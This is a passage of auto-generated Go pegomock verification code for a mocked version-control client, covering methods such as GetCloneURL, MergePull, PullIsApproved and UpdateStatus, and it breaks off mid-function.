[]logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []string, _param4 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(int)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_DiscardReviews_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DiscardReviews\", _params, verifier.timeout)\n\treturn &MockClient_DiscardReviews_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_DiscardReviews_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_DiscardReviews_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) {\n\tlogger, repo, pull := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1]\n}\n\nfunc (c *MockClient_DiscardReviews_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) *MockClient_GetCloneURL_OngoingVerification {\n\t_params := []pegomock.Param{logger, VCSHostType, repo}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetCloneURL\", _params, verifier.timeout)\n\treturn &MockClient_GetCloneURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_GetCloneURL_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_GetCloneURL_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.VCSHostType, string) {\n\tlogger, VCSHostType, repo := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], VCSHostType[len(VCSHostType)-1], repo[len(repo)-1]\n}\n\nfunc (c *MockClient_GetCloneURL_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.VCSHostType, _param2 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.VCSHostType, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.VCSHostType)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) *MockClient_GetFileContent_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, branch, fileName}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetFileContent\", _params, verifier.timeout)\n\treturn &MockClient_GetFileContent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_GetFileContent_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_GetFileContent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, string, string) {\n\tlogger, repo, branch, fileName := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], branch[len(branch)-1], fileName[len(fileName)-1]\n}\n\nfunc (c *MockClient_GetFileContent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []string, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_GetModifiedFiles_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetModifiedFiles\", _params, verifier.timeout)\n\treturn &MockClient_GetModifiedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_GetModifiedFiles_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_GetModifiedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) {\n\tlogger, repo, pull := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1]\n}\n\nfunc (c *MockClient_GetModifiedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_GetPullLabels_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetPullLabels\", _params, verifier.timeout)\n\treturn &MockClient_GetPullLabels_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_GetPullLabels_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_GetPullLabels_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) {\n\tlogger, repo, pull := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1]\n}\n\nfunc (c *MockClient_GetPullLabels_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) *MockClient_GetTeamNamesForUser_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, user}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetTeamNamesForUser\", _params, verifier.timeout)\n\treturn &MockClient_GetTeamNamesForUser_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_GetTeamNamesForUser_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_GetTeamNamesForUser_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.User) {\n\tlogger, repo, user := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], user[len(user)-1]\n}\n\nfunc (c *MockClient_GetTeamNamesForUser_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.User) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.User, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.User)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) *MockClient_HidePrevCommandComments_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pullNum, command, dir}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"HidePrevCommandComments\", _params, verifier.timeout)\n\treturn &MockClient_HidePrevCommandComments_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_HidePrevCommandComments_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_HidePrevCommandComments_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, string, string) {\n\tlogger, repo, pullNum, command, dir := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], command[len(command)-1], dir[len(dir)-1]\n}\n\nfunc (c *MockClient_HidePrevCommandComments_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []string, _param4 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(int)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) MarkdownPullLink(pull models.PullRequest) *MockClient_MarkdownPullLink_OngoingVerification {\n\t_params := []pegomock.Param{pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"MarkdownPullLink\", _params, verifier.timeout)\n\treturn &MockClient_MarkdownPullLink_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_MarkdownPullLink_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_MarkdownPullLink_OngoingVerification) GetCapturedArguments() models.PullRequest {\n\tpull := c.GetAllCapturedArguments()\n\treturn pull[len(pull)-1]\n}\n\nfunc (c *MockClient_MarkdownPullLink_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) *MockClient_MergePull_OngoingVerification {\n\t_params := []pegomock.Param{logger, pull, pullOptions}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"MergePull\", _params, verifier.timeout)\n\treturn &MockClient_MergePull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_MergePull_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_MergePull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.PullRequestOptions) {\n\tlogger, pull, pullOptions := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], pull[len(pull)-1], pullOptions[len(pullOptions)-1]\n}\n\nfunc (c *MockClient_MergePull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.PullRequestOptions) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequestOptions, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequestOptions)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_PullIsApproved_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"PullIsApproved\", _params, verifier.timeout)\n\treturn &MockClient_PullIsApproved_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_PullIsApproved_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_PullIsApproved_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) {\n\tlogger, repo, pull := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1]\n}\n\nfunc (c *MockClient_PullIsApproved_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) *MockClient_PullIsMergeable_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull, vcsstatusname, ignoreVCSStatusNames}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"PullIsMergeable\", _params, verifier.timeout)\n\treturn &MockClient_PullIsMergeable_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_PullIsMergeable_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_PullIsMergeable_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, []string) {\n\tlogger, repo, pull, vcsstatusname, ignoreVCSStatusNames := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], vcsstatusname[len(vcsstatusname)-1], ignoreVCSStatusNames[len(ignoreVCSStatusNames)-1]\n}\n\nfunc (c *MockClient_PullIsMergeable_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 [][]string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([][]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.([]string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) *MockClient_ReactToComment_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pullNum, commentID, reaction}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ReactToComment\", _params, verifier.timeout)\n\treturn &MockClient_ReactToComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_ReactToComment_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_ReactToComment_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, int64, string) {\n\tlogger, repo, pullNum, commentID, reaction := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], commentID[len(commentID)-1], reaction[len(reaction)-1]\n}\n\nfunc (c *MockClient_ReactToComment_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []int64, _param4 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(int)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]int64, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(int64)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) SupportsSingleFileDownload(repo models.Repo) *MockClient_SupportsSingleFileDownload_OngoingVerification {\n\t_params := []pegomock.Param{repo}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"SupportsSingleFileDownload\", _params, verifier.timeout)\n\treturn &MockClient_SupportsSingleFileDownload_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_SupportsSingleFileDownload_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_SupportsSingleFileDownload_OngoingVerification) GetCapturedArguments() models.Repo {\n\trepo := c.GetAllCapturedArguments()\n\treturn repo[len(repo)-1]\n}\n\nfunc (c *MockClient_SupportsSingleFileDownload_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) *MockClient_UpdateStatus_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull, state, src, description, url}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"UpdateStatus\", _params, verifier.timeout)\n\treturn &MockClient_UpdateStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_UpdateStatus_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_UpdateStatus_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, string, string, string) {\n\tlogger, repo, pull, state, src, description, url := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], state[len(state)-1], src[len(src)-1], description[len(description)-1], url[len(url)-1]\n}\n\nfunc (c *MockClient_UpdateStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []string, _param5 []string, _param6 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]models.CommitStatus, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(models.CommitStatus)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] 